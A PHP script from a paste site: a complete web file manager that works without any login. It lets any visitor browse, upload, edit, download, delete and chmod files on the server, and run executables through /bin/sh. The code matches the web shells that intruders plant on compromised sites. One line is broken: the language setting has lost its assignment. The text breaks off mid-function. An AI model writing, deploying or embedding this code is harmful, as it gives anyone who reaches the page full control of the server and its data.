· 6 years ago · Sep 19, 2019, 08:14 AM
1<?php
2'auto';
3$charset = 'ISO-8859-1';
4$homedir = './';
5$editcols = 80;
6$editrows = 25;
7$htaccess = '.htaccess';
8$htpasswd = '.htpasswd';
9if (get_magic_quotes_gpc()) {
10 array_walk($_GET, 'strip');
11 array_walk($_POST, 'strip');
12 array_walk($_REQUEST, 'strip');
13}
14if (array_key_exists('image', $_GET)) {
15 header('Content-Type: image/gif');
16 die(getimage($_GET['image']));
17}
18$delim = DIRECTORY_SEPARATOR;
19if (function_exists('php_uname')) {
20 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
21} else {
22 $win = ($delim == '\\') ? true : false;
23}
24if (!empty($_SERVER['PATH_TRANSLATED'])) {
25 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
26} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
27 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
28} elseif (function_exists('getcwd')) {
29 $scriptdir = getcwd();
30} else {
31 $scriptdir = '.';
32}
33$homedir = relative2absolute($homedir, $scriptdir);
34
35$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
36
37if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
38 $dir = relative2absolute($dir, $_POST['olddir']);
39}
40
41$directory = simplify_path(addslash($dir));
42
43$files = array();
44$action = '';
45if (!empty($_POST['submit_all'])) {
46 $action = $_POST['action_all'];
47 for ($i = 0; $i < $_POST['num']; $i++) {
48 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
49 $files[] = $_POST["file$i"];
50 }
51 }
52} elseif (!empty($_REQUEST['action'])) {
53 $action = $_REQUEST['action'];
54 $files[] = relative2absolute($_REQUEST['file'], $directory);
55} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
56 $files[] = $_FILES['upload'];
57 $action = 'upload';
58} elseif (array_key_exists('num', $_POST)) {
59 for ($i = 0; $i < $_POST['num']; $i++) {
60 if (array_key_exists("submit$i", $_POST)) break;
61 }
62 if ($i < $_POST['num']) {
63 $action = $_POST["action$i"];
64 $files[] = $_POST["file$i"];
65 }
66}
67if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
68 $files[] = relative2absolute($_POST['create_name'], $directory);
69 switch ($_POST['create_type']) {
70 case 'directory':
71 $action = 'create_directory';
72 break;
73 case 'file':
74 $action = 'create_file';
75 }
76}
77if (sizeof($files) == 0) $action = ''; else $file = reset($files);
78
79if ($lang == 'auto') {
80 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
81 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
82 } else {
83 $lang = 'en';
84 }
85}
86$words = getwords($lang);
87$cols = ($win) ? 4 : 7;
88if (!isset($dirpermission)) {
89 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
90}
91if (!isset($filepermission)) {
92 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
93}
94if (!empty($_SERVER['SCRIPT_NAME'])) {
95 $self = html(basename($_SERVER['SCRIPT_NAME']));
96} elseif (!empty($_SERVER['PHP_SELF'])) {
97 $self = html(basename($_SERVER['PHP_SELF']));
98} else {
99 $self = '';
100}
101if (!empty($_SERVER['SERVER_SOFTWARE'])) {
102 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
103 $apache = true;
104 } else {
105 $apache = false;
106 }
107} else {
108 $apache = true;
109}
110switch ($action) {
111case 'view':
112 if (is_script($file)) {
113 ob_start();
114 highlight_file($file);
115 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
116 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
117 ob_end_clean();
118 html_header();
119 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
120<hr />
121<table>
122<tr>
123<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
124<pre style="margin-top: 0"><code>';
125 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
126 echo '</code></pre>
127</td>
128<td style="text-align: left; vertical-align: top; padding-left: 3pt">
129<pre style="margin-top: 0">' . $src . '</pre>
130</td>
131</tr>
132</table>
133';
134 html_footer();
135 } else {
136 header('Content-Type: ' . getmimetype($file));
137 header('Content-Disposition: filename=' . basename($file));
138 readfile($file);
139 }
140 break;
141case 'download':
142 header('Pragma: public');
143 header('Expires: 0');
144 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
145 header('Content-Type: ' . getmimetype($file));
146 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
147 header('Content-Length: ' . filesize($file));
148 readfile($file);
149 break;
150case 'upload':
151 $dest = relative2absolute($file['name'], $directory);
152 if (@file_exists($dest)) {
153 listing_page(error('already_exists', $dest));
154 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
155 listing_page(notice('uploaded', $file['name']));
156 } else {
157 listing_page(error('not_uploaded', $file['name']));
158 }
159 break;
160case 'create_directory':
161 if (@file_exists($file)) {
162 listing_page(error('already_exists', $file));
163 } else {
164 $old = @umask(0777 & ~$dirpermission);
165 if (@mkdir($file, $dirpermission)) {
166 listing_page(notice('created', $file));
167 } else {
168 listing_page(error('not_created', $file));
169 }
170 @umask($old);
171 }
172 break;
173case 'create_file':
174 if (@file_exists($file)) {
175 listing_page(error('already_exists', $file));
176 } else {
177 $old = @umask(0777 & ~$filepermission);
178 if (@touch($file)) {
179 edit($file);
180 } else {
181 listing_page(error('not_created', $file));
182 }
183 @umask($old);
184 }
185 break;
186case 'execute':
187 chdir(dirname($file));
188 $output = array();
189 $retval = 0;
190 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
191 $error = ($retval == 0) ? false : true;
192 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
193 if ($error) {
194 listing_page(error('not_executed', $file, implode("\n", $output)));
195 } else {
196 listing_page(notice('executed', $file, implode("\n", $output)));
197 }
198 break;
199case 'delete':
200 if (!empty($_POST['no'])) {
201 listing_page();
202 } elseif (!empty($_POST['yes'])) {
203 $failure = array();
204 $success = array();
205 foreach ($files as $file) {
206 if (del($file)) {
207 $success[] = $file;
208 } else {
209 $failure[] = $file;
210 }
211 }
212 $message = '';
213 if (sizeof($failure) > 0) {
214 $message = error('not_deleted', implode("\n", $failure));
215 }
216 if (sizeof($success) > 0) {
217 $message .= notice('deleted', implode("\n", $success));
218 }
219 listing_page($message);
220 } else {
221 html_header();
222 echo '<form action="' . $self . '" method="post">
223<table class="dialog">
224<tr>
225<td class="dialog">
226';
227 request_dump();
228 echo "\t<b>" . word('really_delete') . '</b>
229 <p>
230';
231 foreach ($files as $file) {
232 echo "\t" . html($file) . "<br />\n";
233 }
234 echo ' </p>
235 <hr />
236 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
237 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
238</td>
239</tr>
240</table>
241</form>
242';
243 html_footer();
244 }
245 break;
246case 'rename':
247 if (!empty($_POST['destination'])) {
248 $dest = relative2absolute($_POST['destination'], $directory);
249 if (!@file_exists($dest) && @rename($file, $dest)) {
250 listing_page(notice('renamed', $file, $dest));
251 } else {
252 listing_page(error('not_renamed', $file, $dest));
253 }
254 } else {
255 $name = basename($file);
256 html_header();
257 echo '<form action="' . $self . '" method="post">
258<table class="dialog">
259<tr>
260<td class="dialog">
261 <input type="hidden" name="action" value="rename" />
262 <input type="hidden" name="file" value="' . html($file) . '" />
263 <input type="hidden" name="dir" value="' . html($directory) . '" />
264 <b>' . word('rename_file') . '</b>
265 <p>' . html($file) . '</p>
266 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
267 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
268 <hr />
269 <input type="submit" value="' . word('rename') . '" />
270</td>
271</tr>
272</table>
273<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
274</form>
275';
276 html_footer();
277 }
278 break;
279case 'move':
280 if (!empty($_POST['destination'])) {
281 $dest = relative2absolute($_POST['destination'], $directory);
282 $failure = array();
283 $success = array();
284 foreach ($files as $file) {
285 $filename = substr($file, strlen($directory));
286 $d = $dest . $filename;
287 if (!@file_exists($d) && @rename($file, $d)) {
288 $success[] = $file;
289 } else {
290 $failure[] = $file;
291 }
292 }
293 $message = '';
294 if (sizeof($failure) > 0) {
295 $message = error('not_moved', implode("\n", $failure), $dest);
296 }
297 if (sizeof($success) > 0) {
298 $message .= notice('moved', implode("\n", $success), $dest);
299 }
300 listing_page($message);
301 } else {
302 html_header();
303 echo '<form action="' . $self . '" method="post">
304<table class="dialog">
305<tr>
306<td class="dialog">
307';
308 request_dump();
309 echo "\t<b>" . word('move_files') . '</b>
310 <p>
311';
312 foreach ($files as $file) {
313 echo "\t" . html($file) . "<br />\n";
314 }
315 echo ' </p>
316 <hr />
317 ' . word('destination') . ':
318 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
319 <input type="submit" value="' . word('move') . '" />
320</td>
321</tr>
322</table>
323<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
324</form>
325';
326 html_footer();
327 }
328 break;
329case 'copy':
330 if (!empty($_POST['destination'])) {
331 $dest = relative2absolute($_POST['destination'], $directory);
332 if (@is_dir($dest)) {
333 $failure = array();
334 $success = array();
335 foreach ($files as $file) {
336 $filename = substr($file, strlen($directory));
337 $d = addslash($dest) . $filename;
338 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
339 $success[] = $file;
340 } else {
341 $failure[] = $file;
342 }
343 }
344 $message = '';
345 if (sizeof($failure) > 0) {
346 $message = error('not_copied', implode("\n", $failure), $dest);
347 }
348 if (sizeof($success) > 0) {
349 $message .= notice('copied', implode("\n", $success), $dest);
350 }
351 listing_page($message);
352 } else {
353 if (!@file_exists($dest) && @copy($file, $dest)) {
354 listing_page(notice('copied', $file, $dest));
355 } else {
356 listing_page(error('not_copied', $file, $dest));
357 }
358 }
359 } else {
360 html_header();
361 echo '<form action="' . $self . '" method="post">
362<table class="dialog">
363<tr>
364<td class="dialog">
365';
366 request_dump();
367 echo "\n<b>" . word('copy_files') . '</b>
368 <p>
369';
370 foreach ($files as $file) {
371 echo "\t" . html($file) . "<br />\n";
372 }
373 echo ' </p>
374 <hr />
375 ' . word('destination') . ':
376 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
377 <input type="submit" value="' . word('copy') . '" />
378</td>
379</tr>
380</table>
381<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
382</form>
383';
384 html_footer();
385 }
386 break;
387case 'create_symlink':
388 if (!empty($_POST['destination'])) {
389 $dest = relative2absolute($_POST['destination'], $directory);
390 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
391 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
392 if (!@file_exists($dest) && @symlink($file, $dest)) {
393 listing_page(notice('symlinked', $file, $dest));
394 } else {
395 listing_page(error('not_symlinked', $file, $dest));
396 }
397 } else {
398 html_header();
399 echo '<form action="' . $self . '" method="post">
400<table class="dialog" id="symlink">
401<tr>
402 <td style="vertical-align: top">' . word('destination') . ': </td>
403 <td>
404 <b>' . html($file) . '</b><br />
405 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
406 <label for="checkbox_relative">' . word('relative') . '</label>
407 <input type="hidden" name="action" value="create_symlink" />
408 <input type="hidden" name="file" value="' . html($file) . '" />
409 <input type="hidden" name="dir" value="' . html($directory) . '" />
410 </td>
411</tr>
412<tr>
413 <td>' . word('symlink') . ': </td>
414 <td>
415 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
416 <input type="submit" value="' . word('create_symlink') . '" />
417 </td>
418</tr>
419</table>
420<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
421</form>
422';
423 html_footer();
424 }
425 break;
426case 'edit':
427 if (!empty($_POST['save'])) {
428 $content = str_replace("\r\n", "\n", $_POST['content']);
429 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
430 listing_page(notice('saved', $file));
431 } else {
432 listing_page(error('not_saved', $file));
433 }
434 } else {
435 if (@is_readable($file) && @is_writable($file)) {
436 edit($file);
437 } else {
438 listing_page(error('not_edited', $file));
439 }
440 }
441 break;
442case 'permission':
443 if (!empty($_POST['set'])) {
444 $mode = 0;
445 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
446 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
447 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
448
449 if (@chmod($file, $mode)) {
450 listing_page(notice('permission_set', $file, decoct($mode)));
451 } else {
452 listing_page(error('permission_not_set', $file, decoct($mode)));
453 }
454 } else {
455 html_header();
456 $mode = fileperms($file);
457 echo '<form action="' . $self . '" method="post">
458<table class="dialog">
459<tr>
460<td class="dialog">
461 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
462 <hr />
463 <table id="permission">
464 <tr>
465 <td></td>
466 <td style="border-right: 1px solid black">' . word('owner') . '</td>
467 <td style="border-right: 1px solid black">' . word('group') . '</td>
468 <td>' . word('other') . '</td>
469 </tr>
470 <tr>
471 <td style="text-align: right">' . word('read') . ':</td>
472 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
473 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
474 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
475 </tr>
476 <tr>
477 <td style="text-align: right">' . word('write') . ':</td>
478 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
479 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
480 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
481 </tr>
482 <tr>
483 <td style="text-align: right">' . word('execute') . ':</td>
484 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
485 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
486 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
487 </tr>
488 </table>
489 <hr />
490 <input type="submit" name="set" value="' . word('set') . '" />
491 <input type="hidden" name="action" value="permission" />
492 <input type="hidden" name="file" value="' . html($file) . '" />
493 <input type="hidden" name="dir" value="' . html($directory) . '" />
494</td>
495</tr>
496</table>
497<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
498</form>
499';
500 html_footer();
501 }
502 break;
503default:
504 listing_page();
505}
506function getlist ($directory) {
507 global $delim, $win;
508 if ($d = @opendir($directory)) {
509 while (($filename = @readdir($d)) !== false) {
510 $path = $directory . $filename;
511 if ($stat = @lstat($path)) {
512 $file = array(
513 'filename' => $filename,
514 'path' => $path,
515 'is_file' => @is_file($path),
516 'is_dir' => @is_dir($path),
517 'is_link' => @is_link($path),
518 'is_readable' => @is_readable($path),
519 'is_writable' => @is_writable($path),
520 'size' => $stat['size'],
521 'permission' => $stat['mode'],
522 'owner' => $stat['uid'],
523 'group' => $stat['gid'],
524 'mtime' => @filemtime($path),
525 'atime' => @fileatime($path),
526 'ctime' => @filectime($path)
527 );
528 if ($file['is_dir']) {
529 $file['is_executable'] = @file_exists($path . $delim . '.');
530 } else {
531 if (!$win) {
532 $file['is_executable'] = @is_executable($path);
533 } else {
534 $file['is_executable'] = true;
535 }
536 }
537 if ($file['is_link']) $file['target'] = @readlink($path);
538 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
539 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
540 $files[] = $file;
541 }
542 }
543 return $files;
544 } else {
545 return false;
546 }
547}
548function sortlist (&$list, $key, $reverse) {
549 quicksort($list, 0, sizeof($list) - 1, $key);
550 if ($reverse) $list = array_reverse($list);
551}
552function quicksort (&$array, $first, $last, $key) {
553 if ($first < $last) {
554 $cmp = $array[floor(($first + $last) / 2)][$key];
555 $l = $first;
556 $r = $last;
557 while ($l <= $r) {
558 while ($array[$l][$key] < $cmp) $l++;
559 while ($array[$r][$key] > $cmp) $r--;
560 if ($l <= $r) {
561 $tmp = $array[$l];
562 $array[$l] = $array[$r];
563 $array[$r] = $tmp;
564 $l++;
565 $r--;
566 }
567 }
568 quicksort($array, $first, $r, $key);
569 quicksort($array, $l, $last, $key);
570 }
571}
572function permission_octal2string ($mode) {
573 if (($mode & 0xC000) === 0xC000) {
574 $type = 's';
575 } elseif (($mode & 0xA000) === 0xA000) {
576 $type = 'l';
577 } elseif (($mode & 0x8000) === 0x8000) {
578 $type = '-';
579 } elseif (($mode & 0x6000) === 0x6000) {
580 $type = 'b';
581 } elseif (($mode & 0x4000) === 0x4000) {
582 $type = 'd';
583 } elseif (($mode & 0x2000) === 0x2000) {
584 $type = 'c';
585 } elseif (($mode & 0x1000) === 0x1000) {
586 $type = 'p';
587 } else {
588 $type = '?';
589 }
590 $owner = ($mode & 00400) ? 'r' : '-';
591 $owner .= ($mode & 00200) ? 'w' : '-';
592 if ($mode & 0x800) {
593 $owner .= ($mode & 00100) ? 's' : 'S';
594 } else {
595 $owner .= ($mode & 00100) ? 'x' : '-';
596 }
597 $group = ($mode & 00040) ? 'r' : '-';
598 $group .= ($mode & 00020) ? 'w' : '-';
599 if ($mode & 0x400) {
600 $group .= ($mode & 00010) ? 's' : 'S';
601 } else {
602 $group .= ($mode & 00010) ? 'x' : '-';
603 }
604 $other = ($mode & 00004) ? 'r' : '-';
605 $other .= ($mode & 00002) ? 'w' : '-';
606 if ($mode & 0x200) {
607 $other .= ($mode & 00001) ? 't' : 'T';
608 } else {
609 $other .= ($mode & 00001) ? 'x' : '-';
610 }
611 return $type . $owner . $group . $other;
612}
613function is_script ($filename) {
614 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
615}
616function getmimetype ($filename) {
617 static $mimes = array(
618 '\.jpg$|\.jpeg$' => 'image/jpeg',
619 '\.gif$' => 'image/gif',
620 '\.png$' => 'image/png',
621 '\.html$|\.html$' => 'text/html',
622 '\.txt$|\.asc$' => 'text/plain',
623 '\.xml$|\.xsl$' => 'application/xml',
624 '\.pdf$' => 'application/pdf'
625 );
626 foreach ($mimes as $regex => $mime) {
627 if (eregi($regex, $filename)) return $mime;
628 }
629 return 'text/plain';
630}
631function del ($file) {
632 global $delim;
633 if (!@is_link($file) && !file_exists($file)) return false;
634 if (!@is_link($file) && @is_dir($file)) {
635 if ($dir = @opendir($file)) {
636 $error = false;
637 while (($f = readdir($dir)) !== false) {
638 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
639 $error = true;
640 }
641 }
642 closedir($dir);
643 if (!$error) return @rmdir($file);
644 return !$error;
645 } else {
646 return false;
647 }
648 } else {
649 return @unlink($file);
650 }
651}
652function addslash ($directory) {
653 global $delim;
654 if (substr($directory, -1, 1) != $delim) {
655 return $directory . $delim;
656 } else {
657 return $directory;
658 }
659}
660function relative2absolute ($string, $directory) {
661 if (path_is_relative($string)) {
662 return simplify_path(addslash($directory) . $string);
663 } else {
664 return simplify_path($string);
665 }
666}
667function path_is_relative ($path) {
668 global $win;
669 if ($win) {
670 return (substr($path, 1, 1) != ':');
671 } else {
672 return (substr($path, 0, 1) != '/');
673 }
674}
675function absolute2relative ($directory, $target) {
676 global $delim;
677 $path = '';
678 while ($directory != $target) {
679 if ($directory == substr($target, 0, strlen($directory))) {
680 $path .= substr($target, strlen($directory));
681 break;
682 } else {
683 $path .= '..' . $delim;
684 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
685 }
686 }
687 if ($path == '') $path = '.';
688 return $path;
689}
690function simplify_path ($path) {
691 global $delim;
692 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
693 $path = realpath($path);
694 if (@is_dir($path)) {
695 return addslash($path);
696 } else {
697 return $path;
698 }
699 }
700 $pattern = $delim . '.' . $delim;
701 if (@is_dir($path)) {
702 $path = addslash($path);
703 }
704 while (strpos($path, $pattern) !== false) {
705 $path = str_replace($pattern, $delim, $path);
706 }
707 $e = addslashes($delim);
708 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
709 while (ereg($regex, $path)) {
710 $path = ereg_replace($regex, $delim, $path);
711 }
712 return $path;
713}
714function human_filesize ($filesize) {
715 $suffices = 'kMGTPE';
716 $n = 0;
717 while ($filesize >= 1000) {
718 $filesize /= 1024;
719 $n++;
720 }
721 $filesize = round($filesize, 3 - strpos($filesize, '.'));
722 if (strpos($filesize, '.') !== false) {
723 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
724 $filesize = substr($filesize, 0, strlen($filesize) - 1);
725 }
726 }
727 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
728 return $filesize . " {$suffix}B";
729}
730function strip (&$str) {
731 $str = stripslashes($str);
732}
733function listing_page ($message = null) {
734 global $self, $directory, $sort, $reverse;
735 html_header();
736 $list = getlist($directory);
737 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
738 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
739 sortlist($list, $sort, $reverse);
740 echo '<h1 style="margin-bottom: 0"></h1>
741<form enctype="multipart/form-data" action="' . $self . '" method="post">
742<table id="main">
743';
744 directory_choice();
745 if (!empty($message)) {
746 spacer();
747 echo $message;
748 }
749 if (@is_writable($directory)) {
750 upload_box();
751 create_box();
752 } else {
753 spacer();
754 }
755 if ($list) {
756 listing($list);
757 } else {
758 echo error('not_readable', $directory);
759 }
760 echo '</table>
761</form>
762';
763 html_footer();
764}
765function listing ($list) {
766 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
767 echo '<tr class="listing">
768 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
769';
770 $d = 'dir=' . urlencode($directory) . '&';
771 if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
772 echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
773 if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
774 echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
775 if (!$win) {
776 if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
777 echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
778 if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
779 echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
780 if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
781 echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
782 }
783 echo ' <th class="functions">' . word('functions') . '</th>
784</tr>
785';
786 for ($i = 0; $i < sizeof($list); $i++) {
787 $file = $list[$i];
788 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
789 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
790 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
791 echo '<tr class="listing">
792 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
793 <td class="filename" title="' . html($timestamps) . '">';
794 if ($file['is_link']) {
795 echo '<img src="' . $self . '?image=link" alt="link" /> ';
796 echo html($file['filename']) . ' → ';
797 $real_file = relative2absolute($file['target'], $directory);
798 if (@is_readable($real_file)) {
799 if (@is_dir($real_file)) {
800 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
801 } else {
802 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
803 }
804 } else {
805 echo html($file['target']);
806 }
807 } elseif ($file['is_dir']) {
808 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
809 if ($win || $file['is_executable']) {
810 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
811 } else {
812 echo html($file['filename']);
813 }
814 echo ' ]';
815 } else {
816 if (substr($file['filename'], 0, 1) == '.') {
817 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
818 } else {
819 echo '<img src="' . $self . '?image=file" alt="file" /> ';
820 }
821 if ($file['is_file'] && $file['is_readable']) {
822 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
823 } else {
824 echo html($file['filename']);
825 }
826 }
827 if ($file['size'] >= 1000) {
828 $human = ' title="' . human_filesize($file['size']) . '"';
829 } else {
830 $human = '';
831 }
832 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
833 if (!$win) {
834 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
835 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
836 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
837 echo html(permission_octal2string($file['permission']));
838 if ($l) echo '</a>';
839 echo "</td>\n";
840 if (array_key_exists('owner_name', $file)) {
841 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
842 } else {
843 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
844 }
845 if (array_key_exists('group_name', $file)) {
846 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
847 } else {
848 echo "\t<td class=\"group\">{$file['group']}</td>\n";
849 }
850 }
851 echo ' <td class="functions">
852 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
853';
854 $actions = array();
855 if (function_exists('symlink')) {
856 $actions[] = 'create_symlink';
857 }
858 if (@is_writable(dirname($file['path']))) {
859 $actions[] = 'delete';
860 $actions[] = 'rename';
861 $actions[] = 'move';
862 }
863 if ($file['is_file'] && $file['is_readable']) {
864 $actions[] = 'copy';
865 $actions[] = 'download';
866 if ($file['is_writable']) $actions[] = 'edit';
867 }
868 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
869 $actions[] = 'execute';
870 }
871 if (sizeof($actions) > 0) {
872 echo ' <select class="small" name="action' . $i . '" size="1">
873 <option value="">' . str_repeat(' ', 30) . '</option>
874';
875 foreach ($actions as $action) {
876 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
877 }
878 echo ' </select>
879 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
880';
881 }
882 echo ' </td>
883</tr>
884';
885 }
886 echo '<tr class="listing_footer">
887 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
888 <td colspan="' . ($cols - 1) . '">
889 <input type="hidden" name="num" value="' . sizeof($list) . '" />
890 <input type="hidden" name="focus" value="" />
891 <input type="hidden" name="olddir" value="' . html($directory) . '" />
892';
893 $actions = array();
894 if (@is_writable(dirname($file['path']))) {
895 $actions[] = 'delete';
896 $actions[] = 'move';
897 }
898 $actions[] = 'copy';
899 echo ' <select class="small" name="action_all" size="1">
900 <option value="">' . str_repeat(' ', 30) . '</option>
901';
902 foreach ($actions as $action) {
903 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
904 }
905 echo ' </select>
906 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
907 </td>
908</tr>
909';
910}
911function directory_choice () {
912 global $directory, $homedir, $cols, $self;
913 echo '<tr>
914 <td colspan="' . $cols . '" id="directory">
915 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
916 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
917 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
918 </td>
919</tr>
920';
921}
922function upload_box () {
923 global $cols;
924 echo '<tr>
925 <td colspan="' . $cols . '" id="upload">
926 ' . word('file') . ':
927 <input type="file" name="upload" onfocus="activate(\'other\')" />
928 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
929 </td>
930</tr>
931';
932}
933function create_box () {
934 global $cols;
935 echo '<tr>
936 <td colspan="' . $cols . '" id="create">
937 <select name="create_type" size="1" onfocus="activate(\'create\')">
